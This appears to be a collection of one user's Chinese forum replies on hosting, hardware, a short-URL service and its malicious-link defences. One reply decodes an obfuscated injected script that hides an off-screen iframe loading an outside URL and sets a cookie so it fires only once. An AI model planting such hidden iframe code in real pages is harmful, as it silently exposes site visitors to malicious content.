也是Markdown的作者（之一）吧

@hyh1048576 的思路不错，花密加的盐有点问题，推荐用帐号名作为盐，而不是「区分代号」。
不过估计也不会普及，所以说还是没有问题的……

问问题的人得到了回复的奖励，回答的人却得不到半毛感谢，没铜币还要给它现金充值，自己出钱回答别人的问题吗？？？
还真没见过这么莫名其妙的制度。

PING 113.10.165.57 (113.10.165.57): 56 data bytes
64 bytes from 113.10.165.57: icmp_seq=0 ttl=52 time=48.247 ms
64 bytes from 113.10.165.57: icmp_seq=1 ttl=52 time=45.458 ms
64 bytes from 113.10.165.57: icmp_seq=2 ttl=52 time=52.567 ms
64 bytes from 113.10.165.57: icmp_seq=3 ttl=52 time=43.316 ms
64 bytes from 113.10.165.57: icmp_seq=4 ttl=52 time=56.824 ms
64 bytes from 113.10.165.57: icmp_seq=5 ttl=52 time=98.044 ms
64 bytes from 113.10.165.57: icmp_seq=6 ttl=52 time=44.279 ms
64 bytes from 113.10.165.57: icmp_seq=7 ttl=52 time=41.962 ms

下载速度 600KB/S

浙江电信企业版

比起OPENVZ更喜欢KVM的，如果价格合理一定会买一个。
希望还是按每月流量的模式（并能达到这个下载速度）。

我的是 Early 2011的15寸mbp，加的是海盗船8G内存，升到10G。现在国内的价格和半年前转运来的价格差不多。

BASE64 编码过后的字符串尺寸更大（借助于gzip可能情况稍微好一点）

如果有多个小图，可以用这种方式来减少http请求数；其他情况下则不太适用。

我冲的100刀当时续费了两个域名，现在还有80多刀。

@won 以前线上用Linode跑magento，超过100%是常事……

cat /proc/cpuinfo

最后一句：
ww是window
"e"+vl是eval
z是
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled && document.cookie.indexOf('testcookie1=')==-1){
var stnm=rs();
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://reliablyrebroadcast.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
var exp=new Date();exp.setDate(exp.getDate()+7);
document.cookie='testcookie1='+rs()+'; expires='+exp.toGMTString();
}

直接chrome里console.log就出来了。

Linux下cpu超120%很正常，有几个CPU就是百分之几百。

@HowardMei 恶意网址有个特点：打一枪就跑，很多甚至用免费试用主机的三级域名来干，或者是免费域名，几天就失效。如果自己维护恶意网址库，费力且没用。
目前的安全机制是：
- 黑名单屏蔽。
- 在这么多安全软件里，就金山会用最快的速度来屏蔽。一开始三天两头要投诉(好在人工响应速度很快)，后来以最高优先级查金山的API后基本没这问题了。
- CROND每天扫描新加+热门网址(查询其他安全服务商)

@wenbinwu 还有是扫描队列（用户提交的恶意网址会导致杀毒软件直接屏蔽短网址，一定条件下会触发扫描，也配合了redis的使用）
其他就没了，主要是各类统计数据。
不到一定量无需考虑优化，等到有问题再解决也不迟，最重要的是最快速度出早期产品，由用户行为来决定开发的方向。

当然，个人觉得 @multiple1902 提供的答案很赞，提前考虑，后期会比较省事；不过不建议费太多时间在上面，除非你的目的是为了练手而不是产品自身。

人家一个月还没上的都没说什么呢。

虽然上面跑了些服务，不过平时负载都非常低，可以做个参考。

盛大云，华东，微型
http://gist.github.com/4412889

阿里云，标准B型
http://gist.github.com/4413021

参照：Mbp 2011,更换SSD
http://gist.github.com/4412907

@LazyZhu 感谢推荐。

目前个人倾向于采用 Tornado + MongoDB（python 下的驱动有 bitly 异步的封装 asyncmongo），临时热点数据还是用 redis 顶。

异步对于短网址性能提升很明显(好像bitly用的也是Tornado + MongoDB方案)。